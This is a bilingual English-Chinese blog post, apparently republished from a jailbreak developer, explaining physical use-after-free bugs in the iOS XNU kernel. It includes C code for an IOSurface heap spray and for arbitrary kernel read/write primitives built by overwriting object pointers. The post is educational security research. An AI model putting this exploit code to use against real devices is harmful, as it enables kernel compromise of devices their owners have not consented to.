Introduction 介绍
iOS exploits have always been a fascination of mine, but the particularly complicated kernel exploits have always been the most interesting of them all. As kernel exploitation has been made much more diffcult over the past few years, there have been fewer traditional exploits released (e.g. those that use a virtual memory corruption vulnerability). However, in spite of this, felix-pb released three exploits, under the name of kfd. First released in the summer 2023, they were the first public kernel exploits to work on iOS 15.6 and above. While developing my iOS 14 jailbreak, Apex, I implemented a custom exploit for the Physpuppet vulnerability and in this blog post, I will explain just how easy it is to exploit this type of bug on modern iOS, a type of bug known as a “physical use-after-free”.
iOS 漏洞利用一直是我着迷的,但特别复杂的内核漏洞一直是其中最有趣的。由于内核利用在过去几年中变得更加困难,因此发布的传统漏洞利用越来越少(例如,那些使用虚拟内存损坏漏洞的漏洞)。然而,尽管如此,felix-pb 还是以 kfd 的名义发布了三个漏洞利用程序。它们于 2023 年夏季首次发布,是第一个在 iOS 15.6 及更高版本上运行的公共内核漏洞。在开发我的 iOS 14 越狱 Apex 时,我实现了一个针对 Physpuppet 漏洞的自定义漏洞利用,在这篇博文中,我将解释在现代 iOS 上利用这种类型的错误是多么容易,这种错误被称为“释放后物理使用”。
I am in no means saying that kernel exploitation is easy – what I am saying is that physical use-after-frees have proven to be extremely powerful vulnerabilities, almost completely unaffected by recent mitigations deployed into XNU. The strategy of exploitation for these bugs is not only simple to write, but also simple to understand. So with that, let’s get into the explanation of what a physical use-after-free is.
我绝不是说内核利用很容易——我想说的是,物理释放后使用已被证明是极其强大的漏洞,几乎完全不受最近部署到 XNU 中的缓解措施的影响。利用这些 bug 的策略不仅简单易写,而且易于理解。那么,让我们来解释一下什么是释放后的物理使用。
Sidenote: I certainly did not do this alone. I could not have written this exploit without the help of @staturnz, who has also written an exploit for PhysPuppet for iOS 12 and iOS 13. Before we start, the source code for this exploit is available here.
旁注:我当然不是一个人做的。如果没有 @staturnz 的帮助,我不可能编写这个漏洞,他还为 iOS 12 和 iOS 13 的 PhysPuppet 编写了一个漏洞。在我们开始之前,可以在此处获得此漏洞的源代码。
Memory management in XNU XNU 中的内存管理
XNU, the kernel that powers macOS, iOS, watchOS and pretty much every Apple operating system for almost three decades, manages memory similarly to most other operating systems. In XNU, there are two types of memory – physical memory and virtual memory.
XNU 是近三十年来为 macOS、iOS、watchOS 和几乎所有 Apple 操作系统提供支持的内核,其内存管理方式与大多数其他操作系统类似。在 XNU 中,有两种类型的内存 – 物理内存和虚拟内存。
Every process (even the kernel itself) has a virtual memory map. A MachO file (the Darwin version of an executable file) will define a base address for each segment of the binary – for instance, if the MachO specifies a base address to be 0x1000050000, then the memory that is allocated to the process will appear to begin from 0x1000050000 and go onwards. Obviously, this is not feasible to do with the actual physical memory used by the system. If two processes request the same base address, or if their memory maps would overlap, it would immediately cause issues.
每个进程(甚至内核本身)都有一个虚拟内存映射。MachO 文件(可执行文件的达尔文版本)将为二进制文件的每个段定义一个基址 – 例如,如果 MachO 指定要0x1000050000的基址,则分配给该进程的内存将显示为从 0x1000050000 开始并继续前进。显然,这与系统使用的实际物理内存无关。如果两个进程请求相同的基址,或者它们的内存映射重叠,则会立即导致问题。
Physical memory begins at an address within the region of 0x800000000. Virtual memory appears contiguous to a process, meaning it is one single mapping of memory where each page is consecutively mapped. Note: memory is divided into equally-sized ‘pages’ on most operating systems. For iOS, the page size is usually 16KB, or 4KB on older devices, such as A8-equipped ones. For the sake of simplicity, this explanation will assume a page size of 16KB, or 0x4000 bytes.
物理内存从 0x800000000 区域中的地址开始。虚拟内存似乎与进程是连续的,这意味着它是内存的单个映射,其中每个页面都连续映射。注意:在大多数操作系统上,内存被划分为大小相等的“页面”。对于 iOS,页面大小通常为 16KB,在较旧的设备(例如配备 A8 的设备)上为 4KB。为简单起见,此说明将假定页面大小为 16KB 或 0x4000 字节。
To demonstrate how virtual memory works, imagine you have three pages of virtual memory:
为了演示虚拟内存的工作原理,假设您有三页虚拟内存:
- Page 1 @ 0x1000050000 第 1 页 @ 0x1000050000
- Page 2 @ 0x1000054000 第 2 页 @ 0x1000054000
- Page 3 @ 0x1000058000 第 3 页 @ 0x1000058000
Now, you could simply use memcpy()
and copy 0xC000 bytes, covering all three pages, and you wouldn’t notice anything. In reality, these pages are likely to be at completely different address. For example:
现在,您可以简单地使用 memcpy()
并复制 0xC000 个字节,覆盖所有三个页面,您不会注意到任何内容。实际上,这些页面可能位于完全不同的地址。例如:
- Page 1 @ 0x800004000 第 1 页 @ 0x800004000
- Page 2 @ 0x80018C000 第 2 页 @ 0x80018C000
- Page 3 @ 0x8000C4000 第 3 页 @ 0x8000C4000
As you can see, through the use of virtual memory, you can appease processes that require contiguous mappings of memory and pre-defined base addresses. When a process dereferences a pointer to a virtual memory address, the address is translated to a physical address and then read from or written to. But how is this translated?
如您所见,通过使用虚拟内存,您可以安抚需要内存和预定义基址的连续映射的进程。当进程取消引用指向虚拟内存地址的指针时,该地址将转换为物理地址,然后从中读取或写入。但这是如何翻译的呢?
Page tables 页表
As the name suggests, page tables (also known as translation tables) are tables that store information about the memory pages available to a process. For a regular userland process on iOS, the virtual memory address space spans from 0x0 to 0x8000000000. When you try to deference the pointer 0x1000000000, the kernel will need to look-up the corresponding physical page for this address. This is where page tables come in.
顾名思义,页表(也称为转换表)是存储有关进程可用的内存页信息的表。对于 iOS 上的常规用户空间进程,虚拟内存地址空间的范围从 0x0 到 0x8000000000。当你尝试0x1000000000 deference 指针时,内核将需要查找此地址的相应物理页。这就是页表的用武之地。
At the end of the day, page tables are simply a list of 64-bit addresses. In iOS, there are three levels of page tables. Level 1 page tables, which cover 0x1000000000 bytes of virtual memory; level 2 page tables, which cover 0x2000000 bytes of virtual memory; level 3 page tables, which cover 0x4000 bytes of memory (which is just a single page).
归根结底,页表只是一个 64 位地址的列表。在 iOS 中,有三个级别的页表。1 级页表,涵盖 0x1000000000 字节的虚拟内存;2 级页表,涵盖 0x2000000 字节的虚拟内存;第 3 级页表,覆盖 0x4000 字节的内存(这只是一个页面)。
Each entry in the page table can either be a block mapping (which just assigns that region of memory to a contiguous region of physical memory that is the same size) or a pointer to a child page table (a level N table would have a level N+1 child table).
页表中的每个条目都可以是块映射(它只是将该内存区域分配给相同大小的物理内存的连续区域)或指向子页表的指针(N 级表将具有 N+1 级子表)。
So, if you wrote the physical address 0x800004000 (along with some other flags) into the first index of the level 2 page table, that would mean the virtual addresses 0x1000000000 -> 0x1002000000 would be mapped to physical addresses 0x800004000 -> 0x802004000. However, if the page table entry was the address of a level 3 page table, that would mean that each page of the memory between 0x1000000000 and 0x1002000000 was individually assigned by each entry in the level 3 page table.
因此,如果您将物理地址0x800004000(连同一些其他标志)写入 2 级页表的第一个索引中,则意味着 -> 0x1002000000 0x1000000000虚拟地址将映射到 -> 0x802004000 0x800004000物理地址。但是,如果页表条目是 3 级页表的地址,则意味着 0x1000000000 和 0x1002000000 之间的内存的每一页都由 3 级页表中的每个条目单独分配。
Physical use-after-free 释放后物理使用
If you’re still reading this, and didn’t get bored by the explanation of page tables, you should be fine for the rest of the blog post. Understand page tables is key to understanding the root cause issue that leads to a physical use-after-free.
如果你还在阅读这篇文章,并且没有对页表的解释感到厌烦,那么你应该可以阅读这篇博文的其余部分。了解页表是了解导致释放后物理使用的根本原因问题的关键。
Essentially, a physical use-after-free goes like this:
从本质上讲,释放后的物理使用是这样的:
- A userland process allocates some virtual memory as readable and writable
用户空间进程将一些虚拟内存分配为可读和可写 - The page tables are updated to map in the corresponding physical address as readable and writable by the process
页表将更新为映射为进程可读和可写的相应物理地址 - The process deallocates the memory from userland
该进程从用户空间释放内存 - Due to a bug, the kernel does not remove the mapping from the page tables
由于一个错误,内核不会从页表中删除映射 - However, the kernel believes the corresponding physical pages are free to use (it adds the addresses of the pages to a global “free pages list”)
但是,内核认为相应的物理页面可以免费使用(它将页面的地址添加到全局的 “免费页面列表” 中) - Thus, the process can read and write to a selection of pages that can be reused by the kernel as kernel memory
因此,该进程可以读取和写入一系列页面,这些页面可以被内核作为内核内存重用
What does this give us, as the attacker? Assuming the kernel decides to reallocate N of the freed pages as kernel memory, we now have the ability to read and write to N pages of random kernel memory from userspace. This is an extremely powerful primitive, because if an important kernel object is allocated on one of the pages we can still access, we can overwrite values and manipulate it to our liking.
作为攻击者,这给我们带来了什么?假设内核决定将 N 个释放的页面重新分配为内核内存,我们现在能够从用户空间读取和写入 N 个随机内核内存页面。这是一个非常强大的原语,因为如果在我们仍然可以访问的页面之一上分配了一个重要的内核对象,我们可以覆盖值并按照自己的喜好对其进行操作。
Exploitation strategy 开发策略
While I won’t go into the details of each vulnerability (they are quite complicated, you can read the original writeups here), assume that each ‘trigger’ will cause a physical use-after-free to occur on an unknown number of kernel pages.
虽然我不会详细介绍每个漏洞的细节(它们相当复杂,您可以在此处阅读原始文章),但假设每个“触发器”都会导致物理释放后使用发生在未知数量的内核页面上。
The biggest problem we have is that we cannot choose or predict which pages are reallocated by the kernel. Furthermore, we cannot choose how many pages are reallocated by the kernel. We are given a random number of pages, each at a random address, that may be used by the kernel. The best route to take from here is what is known as a “heap spray”.
我们遇到的最大问题是我们无法选择或预测内核重新分配了哪些页面。此外,我们无法选择内核重新分配多少页。我们得到一个随机数量的页面,每个页面位于一个随机地址,可以被内核使用。从这里出发的最佳路线是所谓的“堆喷雾”。
Heap spray 堆喷
Given the nature of the initial primitive, there is only one way we can reliably turn this into more powerful primitives. That is, as the name suggests, ‘spraying’ kernel memory with a large number of the same object, until one lands on a page of memory that we can write to.
考虑到初始原语的性质,只有一种方法可以可靠地将其转换为更强大的原语。也就是说,顾名思义,用大量相同的对象 “喷涂” 内核内存,直到一个对象落在我们可以写入的内存页上。
First adapted for kfd by opa334, the IOSurface technique was originally used in the weightBufs kernel exploit and can be used to exploit a physical use-after-free. The whole heap spray process should go something like this:
IOSurface 技术最初由 opa334 改编为 kfd,最初用于 weightBufs 内核漏洞,可用于利用释放后的物理使用。整个堆喷射过程应该像这样:
- Allocate a large number of IOSurface objects (they are allocated inside kernel memory)
分配大量 IOSurface 对象(它们在内核内存中分配) - When allocating each one, assign a ‘magic’ value to one of the fields, so that we can identify it
在分配每个字段时,为其中一个字段分配一个 ‘magic’ 值,以便我们可以识别它 - Scan our freed pages for this magic value
扫描我们的免费页面以获取此神奇值 - When we find an IOSurface on a freed page that we control, we have succeeded!
当我们在我们控制的空闲页面上找到 IOSurface 时,我们就成功了!
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
As you can see, IOSURFACE_MAGIC
is the magic value we can search for, and we just allocate nSurfaces
number of IOSurfaces with this magic value.
如您所见,IOSURFACE_MAGIC
是我们可以搜索的魔术值,我们只需使用此魔术值分配 IOSurfaces 的 nSurfaces
数量。
Then by calling this repeatedly, you can get a nice kernel read/write primitive pretty easily:
然后通过反复调用,你可以很容易地得到一个不错的内核读/写原语:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
We continuously spray IOSurface objects in a loop until we find one of these objects on one of our freed physical pages. When one is found, we save the address and ID of this object for later use, and read the receiver
field of the IOSurface object to retrieve our task structure address.
我们不断地在循环中喷涂 IOSurface 对象,直到我们在释放的物理页面上找到其中一个对象。找到一个时,我们保存这个对象的地址和 ID 以备后用,并读取 IOSurface 对象的 receiver
字段来检索我们的任务结构地址。
Kernel memory read/write 内核内存读/写
At this point, we have an IOSurface object in kernel memory that we can read from and write to from userspace, as the physical page it resides in is also mapped into our process. But how do we use this to get a kernel read/write primitive?
此时,我们在内核内存中有一个 IOSurface 对象,我们可以从用户空间读取和写入它,因为它所在的物理页面也被映射到我们的进程中。但是我们如何使用它来获取内核读/写原语呢?
An IOSurface object has two useful fields. The first is a pointer to the 32-bit use count of the object and the second is a pointer to a 64-bit “indexed timestamp”. By calling the methods to get the use count and set the indexed timestamp, but also overwriting the pointers to these values, we can achieve an arbitrary 32-bit kernel read and an arbitrary 64-bit kernel write.
IOSurface 对象有两个有用的字段。第一个是指向对象的 32 位使用计数的指针,第二个是指向 64 位“索引时间戳”的指针。通过调用方法来获取使用计数并设置索引时间戳,但同时覆盖指向这些值的指针,我们可以实现任意 32 位内核读取和任意 64 位内核写入。
For the read, we overwrite the use count pointer (accounting for a 0x14 byte offset in the read) and then call the method to read the use count.
对于读取,我们覆盖 use count 指针(考虑读取中的 0x14 字节偏移量),然后调用该方法读取 use count。
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Read is offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
For the write, we overwrite the indexed timestamp pointer and then call the method to set the indexed timestamp.
对于写入,我们覆盖索引时间戳指针,然后调用该方法以设置索引时间戳。
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
With that, we have (fairly) stable kernel memory read and write primitives and the kernel exploit is complete! The 32-bit read can be developed into a read of any size (by either reading multiple times or casting the 32-bit value to a value with fewer bits), with the same going for the 64-bit write (by reading a 64-bit value, changing X bits and then writing back the value).
这样,我们就有了(相当)稳定的内核内存读写原语,内核漏洞利用就完成了!32 位读取可以发展为任意大小的读取(通过多次读取或将 32 位值转换为具有较少位的值),64 位写入也是如此(通过读取 64 位值,更改 X 位,然后写回该值)。
The next step for a jailbreak would be to develop more stable read and write primitives by modifying the process’s page tables, which will be covered in a future blog post. This is fairly easy to do on arm64 devices, but for arm64e devices (A12+) page tables are protected by PPL, so a PPL bypass is needed to write to them.
越狱的下一步是通过修改进程的页表来开发更稳定的读写原语,这将在以后的博客文章中介绍。这在 arm64 设备上相当容易实现,但对于 arm64e 设备 (A12+),页表受 PPL 保护,因此需要 PPL 旁路来写入它们。
So, for a quick recap, the entire exploit flow goes something like this:
因此,为了快速回顾一下,整个漏洞利用流程是这样的:
- Trigger the physical use-after-free to get an arbitrary number of freed pages
触发物理释放后使用以获取任意数量的释放页面 - Allocate a large number of IOSurface objects containing a magic value inside kernel memory
在内核内存中分配大量包含 magic 值的 IOSurface 对象 - Wait until an IOSurface object lands on one of your free pages that you can write to
等待 IOSurface 对象登陆您可以写入的空闲页面之一 - Abuse the physical use-after-free to change pointers in the IOSurface object, allowing you to call IOSurface methods that perform arbitrary reads and writes using these pointers
滥用物理释放后使用来更改 IOSurface 对象中的指针,从而允许您使用这些指针调用 IOSurface 执行任意读取和写入的方法
Conclusion 结论
In this blog post, I showed that physical use-after-frees can be fairly simple kernel vulnerabilities to exploit, even on more recent iOS versions. The IOSurface technique works as-is up until iOS 16, where certain fields useable for kernel read/write were PAC’d for arm64e devices, in addition to other underlying changes that also break the read primitive on arm64 devices.
在这篇博文中,我展示了释放后的物理使用可能是相当容易利用的内核漏洞,即使在更新的 iOS 版本上也是如此。IOSurface 技术在 iOS 16 之前一直有效,其中某些可用于内核读/写的字段对 arm64e 设备进行了 PAC 处理,此外,其他底层更改也破坏了 arm64 设备上的读取基元。
As a reminder, the source code for this exploit is available here. In the future, I will be publishing another blog post that details the development process of my open-source iOS 14 jailbreak, Apex, where this exploit is used. For now, I hope you enjoyed this post, but if you have any questions or concerns at all, please don’t hesitate to email me at [email protected].
提醒一下,此漏洞的源代码可在此处获得。将来,我将发布另一篇博文,详细介绍我的开源 iOS 14 越狱 Apex 的开发过程,其中使用了这个漏洞。现在,我希望你喜欢这篇文章,但如果你有任何问题或疑虑,请随时给我发电子邮件 [email protected].
原文始发于Alfie CG:A step-by-step guide to writing an iOS kernel exploit
转载请注明:A step-by-step guide to writing an iOS kernel exploit | CTF导航